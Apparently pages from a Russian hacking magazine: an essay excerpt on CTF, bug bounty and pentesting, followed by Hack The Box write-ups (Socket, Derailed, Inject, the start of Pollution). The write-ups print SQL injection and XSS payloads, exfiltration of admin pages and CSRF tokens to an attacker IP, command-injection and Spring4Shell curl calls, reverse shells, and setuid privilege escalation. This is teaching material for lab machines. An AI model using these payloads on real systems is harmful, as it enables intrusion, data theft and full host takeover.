• Пентест — это больший скоуп, больше ответственности и больше обязан-
ностей с жесткими временными рамками, в то время как багбаунти —
больше свободы, креатива, меньше обязаловки и возможность управлять
затрачиваемым на исследование временем.
• Пентест позволяет реализовать импакт выявленных уязвимостей, а в баг-
баунти, по сути, нужно уметь вовремя остановиться, что порой может выг-
лядеть как более поверхностный подход к исследованию (но вовсе не обя-
зательно это так).
• Почти во всех докладах затрагивался вопрос прозрачности внутренних
механизмов компаний. Очевидно, что багхантеров часто держат в неведе-
нии, и это ни одной из сторон не идет в плюс.
• Почти все говорили о том, как важно выстраивать адекватную коммуника-
цию, причем улучшения нужны с обеих сторон.

Как по мне, сравнивать CTF, багбаунти и пентест некорректно, ведь каждая


из этих дисциплин решает свой спектр задач и будь одна хуже другой, то
мы бы о них просто не вспоминали, не говоря даже про их использование
на практике. Нравится рубиться в CTF? Так держать! Это не означает, что ты
лучше или хуже кого-то или чего-то. Балдеешь от багбаунти? Отлично! Хвас-
тайся своими находками перед коллегами, не сиди в гордом одиночестве.
Тренируешь мозг в пентестах? Роскошно! Не забывай о возможности
передавать знания и опыт. Все это хорошо, да и матерые безопасники
нередко сочетают эти дисциплины по необходимости или по желанию, так что
не спеши делать суровые и глобальные выводы.
Что же до умения выстраивать адекватную коммуникацию, то уже давно
все сформулировано: уважай себя и своих собеседников, вникай в детали
и допускай как можно меньше негативных эмоций в работе. Не будь рав-
нодушным и поверхностным. А тут, глядишь, и вопрос с прозрачностью внут-
ренних процессов в компаниях может стать проще, как за счет возникающего
доверия, так и за счет очевидной взаимовыгоды.
ВЗЛОМ

ЭКСПЛУАТИРУЕМ SQL-
ИНЪЕКЦИЮ ДЛЯ АТАКИ НА SQLITE
ЧЕРЕЗ WEBSOCKET

В этом райтапе я покажу, как эксплуати-


ровать SQL-инъекцию в SQLite, обращаясь
к базе через веб-сокет. Также пореверсим
приложение на Python 3, скомпилирован-
ное для Linux, и повысим привилегии RalfHacker
hackerralf8@gmail.com
на целевой машине, проэксплуатировав
уязвимость в билдере Python.

Наша цель — захват тренировочной машины Socket с площадки Hack


The Box. Уровень ее сложности — средний.

Подключаться к машинам с HTB рекомендуется


только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.206 socket.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он поз-


воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

По результатам сканирования имеем три открытых порта:


• 22 — служба OpenSSH 8.9p1;
• 80 — веб-сервер Apache 2.4.52;
• 5789 — сервер Python 3, отвечающий по WebSockets.

SSH ничего не даст, с веб-сокетами тоже пока что ничего не ясно, поэтому
проходим на основной сайт. Как видно из http-title, выполняется редирект
на адрес http://qreader.htb. Добавим этот домен в файл /etc/hosts
и откроем в браузере.

10.10.11.206 socket.htb qreader.htb

Главная страница сайта qreader.htb

ÒÎ×ÊÀ ÂÕÎÄÀ
На странице видим ссылки для скачивания исполняемых файлов для Windows
и Linux.

Раздел загрузки приложения

Скачав файл, закидываем его в любой удобный декомпилятор (я использую


IDA Pro). Сразу можно обратить внимание на использование констант языка
Python.

Декомпилированный код стартовой функции

Эти константы означают, что скрипты на Python были скомпилированы


в исполняемый файл. Но в этом случае мы можем обратно распаковать
из ELF объектные файлы Python. Для этого используем pyinstxtractor.

python3 pyinstxtractor.py ../qreader

Распаковка исполняемого файла

Мы получаем целый каталог объектных файлов Python, которые теперь нужно


преобразовать в читаемые скрипты. Для преобразования будем исполь-
зовать инструмент unpyc37.

python3.10 unpyc37-3.10/src/unpyc3.py pyinstxtractor/qreader_


extracted/qreader.pyc > qreader.py

Содержимое файла qreader.py

В строке 13 сразу определяем адрес сервиса, с которым нужно работать


через веб-сокеты. Так как это новый домен, обновляем запись в файле /etc/
hosts.

10.10.11.206 socket.htb qreader.htb ws.qreader.htb

Анализируя код, дальше находим две функции, через которые и происходит


взаимодействие с сервером с помощью ws_connect. Первая функция нужна
для получения версии приложения, а вторая — для проверки обновлений.

Содержимое файла qreader.py (продолжение)

Запускаем приложение и проверяем эти функции.

Приложение QR Code Reader

Попробуем перехватить трафик приложения, для чего запустим Burp Pro,


а также перезапустим приложение, но теперь через туннелятор
ProxyChains. Предварительно в файле конфигураций /etc/proxychains.
conf сделаем запись для HTTP-прокси.

http 127.0.0.1 1080

proxychains -q ./qreader

Снова запрашиваем версию программы и просматриваем историю запросов


в Burp History.

Запрос в Burp History

Так как соединение с сервером было установлено, можно перейти к истории


запросов по WebSockets.

Запросы в WebSockets history

Комбинацией клавиш Ctrl-R переносим запрос в Burp Repeater и пробуем


отправить несколько базовых нагрузок, чтобы проверить, нет ли здесь воз-
можности для SQL-инъекции. И очень быстро находим уязвимость внедрения
кода SQL с такой нагрузкой:

{
"version": "0.0.2" -- -"
}

Результат выполнения запроса

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ЭКСПЛУАТИРУЕМ SQL-ИНЪЕКЦИЮ ДЛЯ АТАКИ


НА SQLITE ЧЕРЕЗ WEBSOCKET

ÒÎ×ÊÀ ÎÏÎÐÛ
Первым делом попробуем определить количество столбцов в текущей таб-
лице. Для этого будем использовать UNION-запрос с переменным количес-
твом столбцов.

{"version": "0.0.2" union select 1 -- -"}


{"version": "0.0.2" union select 1,2 -- -"}
{"version": "0.0.2" union select 1,2,3 -- -"}
{"version": "0.0.2" union select 1,2,3,4 -- -"}

Определение количества столбцов в таблице

Вариант с четырьмя столбцами возвращает привычный нам ответ, а не ошиб-


ку, поэтому делаем вывод, что это подходящее количество. Также стоит отме-
тить, что в ответ попадает одна запись, которая содержится в первой таб-
лице, и не попадает запись из нашей второй «UNION-таблицы». Чтобы
попадала запись из второй таблицы, нам нужно подать неверные данные
в первую. К примеру, вместо значения версии 0.0.2 отправить строку qwe0.
0.2.
Теперь нам нужно узнать, какая база данных используется. Это будет важ-
но при составлении запроса. Удалось установить, что это не MySQL и не
PostgreSQL, а вот вариант для SQLite отобразил версию 3.37.2.

{
"version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"
}

{
"version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"
}

{
"version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"
}

Определение версии СУБД

Теперь нужно получить таблицы из базы.

{
"version": "qwe0.0.2" union select 1,group_concat(name),3,4 from
sqlite_schema -- -"
}

Существующие в базе таблицы

Первая интересная таблица — users. Чтобы получить данные из нее, нужно


знать, из каких столбцов их запрашивать. Поэтому следующим запросом
узнаем столбцы таблицы users.

{
"version": "qwe0.0.2" union select 1,sql,3,4 from sqlite_master
where type!="meta" and name="users" and sql not null -- -"
}

Столбцы в таблице users

А теперь получим логины и пароли.

{
"version": "qwe0.0.2" union select 1,group_concat(username),
group_concat(password),4 from users -- -"
}

Логины и пароли из базы

Получили один хеш, по виду это MD5. Отправляем его на перебор по онлай-
новым базам и получаем пароль.

Результат взлома хеша

У нас есть пароль, но нет имени пользователя, поэтому пройдемся по другим


таблицам. Тем же методом получаем столбцы из таблицы answers.

{
"version": "qwe0.0.2" union select 1,sql,3,4 from sqlite_master
where type!="meta" and name="answers" and sql not null -- -"
}

Столбцы в базе answers

Имена пользователей могут быть в столбцах answered_by и answer.

{
"version": "qwe0.0.2" union select 1,group_concat(answered_by),
group_concat(answer),4 from answers -- -"
}

Данные из таблицы answers

Получаем пароли пользователей Thomas Keller и Mike и пробуем авторизо-


ваться по SSH, перебирая разные варианты логина. Логин tkeller подошел.

Флаг пользователя

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ


Проникнув в систему, мы должны собрать информацию. Я буду использовать
для этого скрипты PEASS.

Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.

В выводе скрипта отмечена запись в /etc/sudoers.

Настройки судоера

Файл /etc/sudoers в Linux содержит списки команд, которые разные группы


пользователей могут выполнять от имени администратора системы. Можно
просмотреть его как напрямую, так и при помощи команды sudo -l.

Мы можем запустить скрипт /usr/local/sbin/build-installer.sh от име-


ни пользователя root без ввода пароля. Разберемся, что делает этот сце-
нарий.

Содержимое файла build-installer.sh

В коде интересны два блока, которые будут выполняться, если указаны


параметры build или make. В обоих блоках указанный в параметре файл
будет передан программе pyinstaller. Таким образом можно выполнить
произвольный код на Python. Создадим файл privesc.spec, который будет
назначать S-бит командной оболочке.

import os
os.system("chmod u+s /bin/bash")

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь,


запускающий этот файл, получает повышение прав до пользователя — вла-
дельца файла в рамках запущенного процесса. После получения повышенных
прав приложение может выполнять задачи, которые недоступны обычному
пользователю. Из-за возможности состояния гонки многие операционные
системы игнорируют S-атрибут, установленный shell-скриптам.

А теперь запускаем скрипт и передаем ему созданный файл.

sudo /usr/local/sbin/build-installer.sh build privesc.spec

Результат выполнения скрипта

Как видишь, теперь у файла /bin/bash установлен S-бит, и, запустив его, мы


можем получить новую привилегированную сессию.

/bin/bash -p

Флаг рута

Флаг рута у нас, машина захвачена!


ВЗЛОМ

ПЕНТЕСТИМ ВЕБ-ПРИЛОЖЕНИЕ
НА RUBY ON RAILS

В этом райтапе я покажу приемы, которые


используются при атаках на веб-приложе-
ния, в первую очередь — работающие
на Ruby on Rails. Начнем со сканирования
сайта, найдем и проэксплуатируем XSS, RalfHacker
hackerralf8@gmail.com
затем получим доступ к хосту через RCE.
Для повышения привилегий на атакуемой
машине разберемся с OpenMediaVault.

Нашей целью будет захват тренировочной машины Derailed с площадки Hack


The Box. Уровень сложности отмечен как «безумный».

Подключаться к машинам с HTB рекомендуется


только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.190 derailed.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он поз-


воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

Nmap нашел два открытых порта: 22 — служба OpenSSH 8.4p1 и 3000 —


веб-сервер Nginx 1.18.0. Очевидно, что начинать стоит с осмотра веб-при-
ложения.

Главная страница сайта derailed.htb

На сайте даже без регистрации можем создать заметку.

Созданная заметка

Обратим внимание, что обращение к только что созданной заметке происхо-


дит по номеру в URL, отсюда можно сделать вывод об использовании
какого-то API. Просканируем корневой каталог сайта по словарю с разными
названиями файлов и названиями конечных точек API. Я сделаю это с
помощью feroxbuster.

Одно из первых действий при тестировании безопасности веб-приложе-


ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю
feroxbuster.
При запуске указываем следующие параметры:
• -u — URL;
• -w — словарь (я использую словари из набора SecLists);
• -t — количество потоков;
• -d — глубина сканирования.

Запускаем:

feroxbuster -u http://10.10.11.190:3000 -w files_interesting.txt -t


256

Результат сканирования каталогов с помощью feroxbuster

Перебором мы нашли страницу со свойствами веб-фреймворка Ruby


on Rails — /rails/info/properties.

Свойства Ruby on Rails

Теперь можно не сканировать каталоги и файлы, так как Rails предоставит


нам всё в удобном виде на одной странице: /rails/info/routes.

Конечные точки сайта

ÒÎ×ÊÀ ÂÕÎÄÀ
В списке сразу отмечаем страницу администратора /administration,
которая недоступна даже авторизованному пользователю.

Ошибка при обращении к админке сайта

Первым делом пробуем найти заметки других пользователей. Для этого


будем просто перебирать номер заметки с помощью Burp Intruder.

Burp Intruder — вкладка Positions

Burp Intruder — вкладка Payloads

Находим всего одну заметку, которая ничего нам не дает.

Результат перебора заметок

Также в списке конечных точек обращаем внимание на форму отчета.

Страница /report

Отправляем любое сообщение и видим, что оно доставляется администра-


тору, а значит, будем готовиться искать XSS.

Регистрация пользователя с длинным именем

Потратив много времени и ничего не найдя, я вернулся к форме авторизации


и спустя еще какое-то время узнал, что форма не дает ввести в поле имени
пользователя больше 48 символов. Однако мы можем это сделать
с помощью Burp, обходя JS-скрипты.

Переполнение поля created

Продолжая изучать сайт, я обнаружил переполнение в поле created, где


раньше отображалась дата создания заметки.

Информация о заметке

Так как контроль этого поля пользователем не предусматривался, возможно,


и проверок там никаких нет. Снова перебрав разные нагрузки по словарю, я
ничего не получил и пошел искать XSS для Ruby on Rails на сайте CVE. И мне
удалось найти подходящую уязвимость. Она содержится в модуле Rails::
Html::SafeListSanitizer.

Список уязвимостей Ruby on Rails

Возьмем из отчета готовую нагрузку:

<select<style/>W<xmp<script>alert(1)</script>

И отправим ее после 48-го символа в имени пользователя при регистрации.


Но ничего не произошло.

Тестирование нагрузки XSS

Упростим нагрузку и повторим тест:

<select<style/><script>alert(1)</script>

В исходном коде страницы все отображается корректно, но алерт не появ-


ляется.

Тестирование нагрузки XSS

Попробуем выполнить запрос на свой сервер через загрузку картинки.

<select<style/><img src='http://10.10.14.6/test'>

Тестирование нагрузки

Логи листенера nc

Нагрузка отработала, так что давай ее раскручивать.

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ПЕНТЕСТИМ ВЕБ-ПРИЛОЖЕНИЕ НА RUBY ON


RAILS

ÒÎ×ÊÀ ÎÏÎÐÛ
XSS â Ruby on Rails
Добиться выполнения скриптов было просто, для этого используем извес-
тный метод через параметр onerror. Код из него исполняется в том случае,
когда браузер не может загрузить картинку. Для проверки выполняем JS-код,
который выполнит запрос на наш сервер.

var url = "http://10.10.14.6/script_test";


var xhr = new XMLHttpRequest();
xhr.open('GET', url, false);
xhr.send(null);

Скрипт кодируем в сharCode с помощью CyberChef (в кодировке Base64 код


не выполнился). Отправляем его в нагрузке и получаем два запроса: один
для картинки и второй из JS-кода.

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<select<style/><img
src='http://10.10.14.6/none_page' onerror="eval(String.fromCharCode(
118,97,.....,41,59))">

Нагрузка XSS на сайте

Логи веб-сервера

Нагрузка отработала, а так как куки в запросе не передаются, единственный


вариант эксплуатации — получать доступ к административным страницам
(ведь код будет выполняться у администратора) и эксфильтровать их содер-
жимое к себе на сервер.
Следующий код выполнит запрос на страницу /administration, ответ
закодирует в Base64 и кодировку URL и отправит на наш сервер в качестве
параметра запроса.

var url = "http://derailed.htb:3000/administration";


var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch("http://10.10.14.6/?"+ encodeURI(btoa(xhr.responseText))
)
}
}
xhr.open('GET', url, true);
xhr.send(null);

Кодируем через CyberChef и отправляем на сайт. Затем создаем отчет


для администратора и мониторим логи веб-сервера. Получив желанный зап-
рос, декодируем Base64 и открываем страницу в браузере. Страница выг-
лядит некрасиво, так как JS-скрипты не загружаются.

Страница administration

Рассмотрев подробнее ссылку Download, отмечаем, что это HTML-форма c


несколькими параметрами.

Исходный код страницы

Используется токен CSRF, поэтому выполнить запрос без посещения стра-


ницы /administration не получится. Также в исходном коде уже задан ска-
чиваемый файл. Здесь пришлось долго возиться и с подсказкой «смотреть
последние CVE». В итоге я вышел на уязвимость функции open в Ruby
on Rails. Логично, ведь как-то же нужно открыть файл.

Эксплоит для уязвимости в функции open

Ruby on Rails open RCE


Первым делом нам нужно решить проблему с токеном CSRF. Для этого обра-
щаемся к странице /administration и извлекаем из ответа значение эле-
мента с ID authenticity_token. После этого передаем его на наш сервер.

var url = "http://derailed.htb:3000/administration";


var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var page = new DOMParser().parseFromString(xhr.responseText, '
text/html');
var token = page.getElementById('authenticity_token').value;

var url2 = "http://10.10.14.44/?"+ encodeURI(token);


var xhr2 = new XMLHttpRequest();
xhr2.open('GET', url2, false);
xhr2.send(null);
}
}
xhr.open('GET', url, true);
xhr.send(null);

Логи веб-сервера

У нас получилось извлечь токен, теперь попробуем проэксплуатировать уяз-


вимость. Смысл в том, чтобы в имени файла передать конвейер команд.
Для теста выполним запрос с помощью curl:

|curl http://10.10.14.44/test_rce

Следующий скрипт выполнит запрос к странице /administration, сделает


задержку две секунды для ожидания загрузки страницы, получит CSRF-токен
и создаст новую HTML-форму с теми же параметрами, что и в легитимной
форме для скачивания файлов. Затем заполняем форму извлеченным CSRF-
токеном и нагрузкой.

var xmlHttp = new XMLHttpRequest();


xmlHttp.open("GET", "http://derailed.htb:3000/administration", true);
xmlHttp.send(null);
setTimeout(function() {
var doc = new DOMParser().parseFromString(xmlHttp.responseText, '
text/html');
var token = doc.getElementById('authenticity_token').value;
var newform = new DOMParser().parseFromString('<form id="rform"
method="post" action="/administration/reports"> <input
type="hidden" name="authenticity_token" id="authenticity_token"
value="placeholder" autocomplete="off"> <input id="report_log"
type="text" class="form-control" name="report_log"
value="placeholder" hidden=""> <button name="button"
type="submit">Submit</button>', 'text/html');
document.body.append(newform.forms.rform);
document.getElementById('rform').elements.report_log.value = '
|curl http://10.10.14.44/test_rce';
document.getElementById('rform').elements.authenticity_token.value
= token;
document.getElementById('rform').submit();
}, 2000);

После отправки мониторим логи веб-сервера и видим запрос из нагрузки


для функции open.

Логи веб-сервера

Нагрузка отработала, поэтому запускаем листенер pwncat-cs -lp 4321


и кидаем реверс-шелл:

|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.44 4321


>/tmp/f

Сессия пользователя rails

Получив бэкконнект, забираем флаг пользователя в его домашнем каталоге.

Флаг пользователя

ÏÐÎÄÂÈÆÅÍÈÅ
Для продвижения к другому пользователю стоит поискать учетные данные.
Так как в системе есть веб-приложение с базой данных, это наша первая
цель. В каталоге сайта находим файл sqlite3 и скачиваем на свой компь-
ютер.

Загрузка файла базы данных

Затем открываем файл для анализа. Я использую для этого DB Browser.


Выбираем таблицу users, где и находим двух пользователей, а также bcrypt-
хеши их паролей.

Содержимое таблицы users

Отправляем хеши на перебор с помощью hashcat, указывая режим 3200


(параметр -m).

hashcat -a 0 -m 3200 3200_hash.txt rockyou.txt

Результат перебора хешей

Получаем один пароль. Осталось найти пользователя. Для этого получим


всех пользователей с активной командной оболочкой из файла /etc/passwd.

cat /etc/passwd | grep -v 'nologin\|false'

Пользователи с активной командной оболочкой

Пробуем по порядку добавить полученный пароль и в итоге авторизуемся


от имени другого пользователя: openmediavault-webgui.

Сессия пользователя openmediavault-webgui

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ


OpenMediaVault — это решение для сетевого хранилища на Linux. Оно под-
держивает такие сервисы, как SSH, (S)FTP, SMB/CIFS, RSync и многие другие.
И сейчас мы находимся в контексте пользователя службы OpenMediaVault.
Первым делом просмотрим файл настроек /etc/openmediavault/config.
xml.

Содержимое файла cong.xml

Из интересного наблюдаем только настройки для доступа к веб-серверу,


а также, что очень интересно, настройки для доступа по SSH. Так как мы
работаем от имени пользователя службы, можем вносить изменения в файл
с настройками.

Права на файл настроек OpenMediaVault

Давай внесем в настройки пару изменений и разрешим подключение с при-


ватным ключом по SSH. Подробно об этом написано на форуме. Сперва
генерируем пару SSH-ключей.

ssh-keygen -t rsa
ssh-keygen -e -f id_rsa.pub

Теперь открываем настройки в редакторе nano (да, pwncat это позволяет


сделать!) и меняем запись для тестового пользователя, добавляя публичный
ключ.

Измененная запись в файле конфигураций

Теперь применим изменения для SSH.

/usr/sbin/omv-rpc -u admin "config" "applyChanges" "{"modules":["ssh


"],"force":true}"

Применение настроек

И подключаемся с приватным ключом!

Флаг рута

Флаг рута у нас, а значит, машина захвачена!


ВЗЛОМ

ИСПОЛЬЗУЕМ
ANSIBLE PLAYBOOKS
ДЛЯ ПОВЫШЕНИЯ ПРИВИЛЕГИЙ

В этом райтапе я покажу, как повысить при-


вилегии с применением техники GTFOBins
для Ansible playbooks. Но прежде, чем доб-
раться до него, нам предстоит проэксплу-
атировать уязвимость Spring4Shell в фрей- RalfHacker
hackerralf8@gmail.com
мворке Spring и заполучить учетные данные
пользователя.

Наша цель — захват тренировочной машины Inject с площадки Hack The Box.
Уровень ее сложности — легкий.

Подключаться к машинам с HTB рекомендуется


только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.204 inject.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он поз-


воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

Мы нашли два открытых порта:


• 22 — служба OpenSSH 8.2p1;
• 8080 — веб-сервис Nagios NSCA.

На SSH мы сейчас ничего не добьемся, поэтому обращаем свой взор


на веб-сервер.

Главная страница сайта

ÒÎ×ÊÀ ÂÕÎÄÀ
На сайте можно зарегистрироваться и залогиниться, к тому же в глаза бро-
сается возможность загружать файлы через пункт меню Upload. Перейти
на эту страницу и загрузить файл получится и без авторизации.

Форма загрузки файла

После загрузки файла нам предложат просмотреть его по ссылке. Более


интересно это выглядит в Burp History.

Burp History

Название загруженного файла передается в качестве параметра img стра-


ницы /show_image. В таком случае следует проверить, нет ли здесь уяз-
вимости LFI, которая позволит смотреть произвольные файлы с обходом
каталога, к примеру.
Пробуем прочитать файл ../../../../../../../../../../etc/passwd,
и у нас получается.

Содержимое файла /etc/passwd

Значит, LFI присутствует, это нам пригодится.

ÒÎ×ÊÀ ÎÏÎÐÛ
При попытке раскрутить уязвимость обнаруживаем, что мы можем не только
смотреть файлы, но и получать листинги каталогов.

Содержимое каталога /etc/

Давай посмотрим, что лежит в /var/www/, чтобы найти каталог с сайтом.

Содержимое каталога /var/www/

Это явно директория WebApp. Давай глянем файлы в ней.

Содержимое каталога /var/www/WebApp/

Так мы узнаем, что имеем дело с приложением на Java. Поскольку исполь-


зуется средство сборки Maven, вся структура проекта описана в файле pom.
xml (Project Object Model), который находится в корневой папке проекта.
В Maven есть понятие «артефакт» — это какая-то зависимость или плагин.

Содержимое файла /var/www/WebApp/pom.xml

В этом проекте используется фреймворк Spring — это средство внедрения


зависимостей с несколькими удобными слоями (среди них — доступ к базе
данных, прокси, аспектно ориентированное программирование, RPC,
веб-инфраструктура и прочие). Все это позволяет быстрее и удобнее соз-
давать приложения на Java, но использование таких фреймворков может при-
вести к рискам для безопасности. Так, эта версия Spring содержит известную
уязвимость Spring4Shell.

Spring4Shell
Этот баг приводит к удаленному выполнению кода (RCE). Подробнее о том,
как это работает, можешь прочитать в блоге Sysdig. Чтобы проверить уяз-
вимость, попробуем запустить простой веб-сервер на основе Python
3 и обратиться к нему с удаленного сервера:

curl http://10.10.14.16/test_rce

Получится такой запрос:

curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:


T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.16/
test_rce")' 'http://inject.htb:8080/functionRouter' --data-raw 'test'

Логи веб-сервера

Видим запрос в логах, а значит, уязвимость подтверждена. Запускаем лис-


тенер pwncat-cs -lp 4321 и выполняем реверс-шелл. В качестве шелла
используем следующий проверенный временем код на Python:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.


AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",4321));os.dup2(
s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import
pty; pty.spawn("sh")'

Одной командой это выполнить не вышло, поэтому первой командой ска-


чиваем реверс-шелл, второй присваиваем права для выполнения, а третьей
выполняем шелл.

curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:


T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.16/rs.
sh -o /tmp/rs.sh")' 'http://inject.htb:8080/functionRouter'
--data-raw 'test'

curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:


T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/rs.sh")'
'http://inject.htb:8080/functionRouter' --data-raw 'test'

curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:


T(java.lang.Runtime).getRuntime().exec("/tmp/rs.sh")' 'http://inject.
htb:8080/functionRouter' --data-raw 'test'

Сессия пользователя frank

ÏÐÎÄÂÈÆÅÍÈÅ
В домашнем каталоге пользователя находим скрытую папку .m2 для настроек
Maven.

Содержимое домашнего каталога пользователя

В этой папке должен быть файл settings.xml, как раз и описывающий


основные параметры. Нам повезло, в файле нашлись еще и учетные данные.

Содержимое файла settings.xml

Меняем пользователя с помощью утилиты su и получаем первый флаг.

Флаг пользователя

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ


Мы вошли в систему и получили флаг пользователя, но для продвижения
к руту нужно сначала собрать информацию о системе. Я, как обычно, исполь-
зовал скрипт LinPEAS, но он ничего особенного не показал.
Если базовый перебор потенциально интересных мест в системе ничего
не дал, значит, нужно отслеживать запускаемые процессы. Для этого есть
отличное приложение pspy64. Загрузим его на хост, дадим право на выпол-
нение, а потом запустим и будем мониторить логи. Таким образом обнаружи-
ваем, что запускаются процессы ansible-playbook и ansible-parallel,
но что более интересно — они запускаются в контексте пользователя
с нулевым UID, а это root.

Вывод утилиты pspy64

Также стоит обратить внимание на используемый путь:

/opt/automation/tasks/*.yml

Получается, мы можем передать на привилегированное выполнение любой


конфиг YML в каталоге /opt/automation/tasks/. К тому же записывать в эту
директорию могут пользователи группы staff, в которой мы и состоим
(вывод команды id при получении сессии).

Права на каталог /opt/automation/tasks/

Первым делом я решил проверить техники GTFOBins и нашел ту, которую


можно использовать.

Техника GTFOBins для ansible-playbook

Одной командой мы создаем конфигурацию, которая приведет к выполнению


команды /usr/bin/chmod u+s /bin/bash.

echo '[{hosts: localhost, tasks: [shell: /usr/bin/chmod u+s /bin/


bash]}]' > /opt/automation/tasks/get_root.yml

Спустя некоторое время проверяем права на файл командной оболочки /


bin/bash и видим выставленный S-бит.

Права на файл /bin/bash

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь,


запускающий этот файл, получает повышение прав до пользователя — вла-
дельца файла в рамках запущенного процесса. После получения повышенных
прав приложение может выполнять задачи, которые недоступны обычному
пользователю. Из-за возможности состояния гонки многие операционные
системы игнорируют S-атрибут, установленный shell-скриптам.

Так мы и получаем новую привилегированную сессию.

/bin/bash -p

Флаг рута

Машина захвачена!
ВЗЛОМ

ЭКСПЛУАТИРУЕМ XXE
И РАЗБИРАЕМСЯ
С УЯЗВИМОСТЬЮ
PROTOTYPE POLLUTION

В этом райтапе я покажу, как работать


с уязвимостью типа prototype pollution
в приложении на Node.js. На пути к ней мы
поупражняемся в эксплуатации XXE,
поработаем с Redis и применим эксплоит RalfHacker
hackerralf8@gmail.com
для PHP FPM.

Упражняться мы будем на тренировочной машине Pollution с площадки Hack


The Box. Уровень — сложный.

Подключаться к машинам с HTB рекомендуется


только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.192 pollution.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он поз-


воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

Сканер нашел всего три открытых порта:


• 22 — служба OpenSSH 8.4p1;
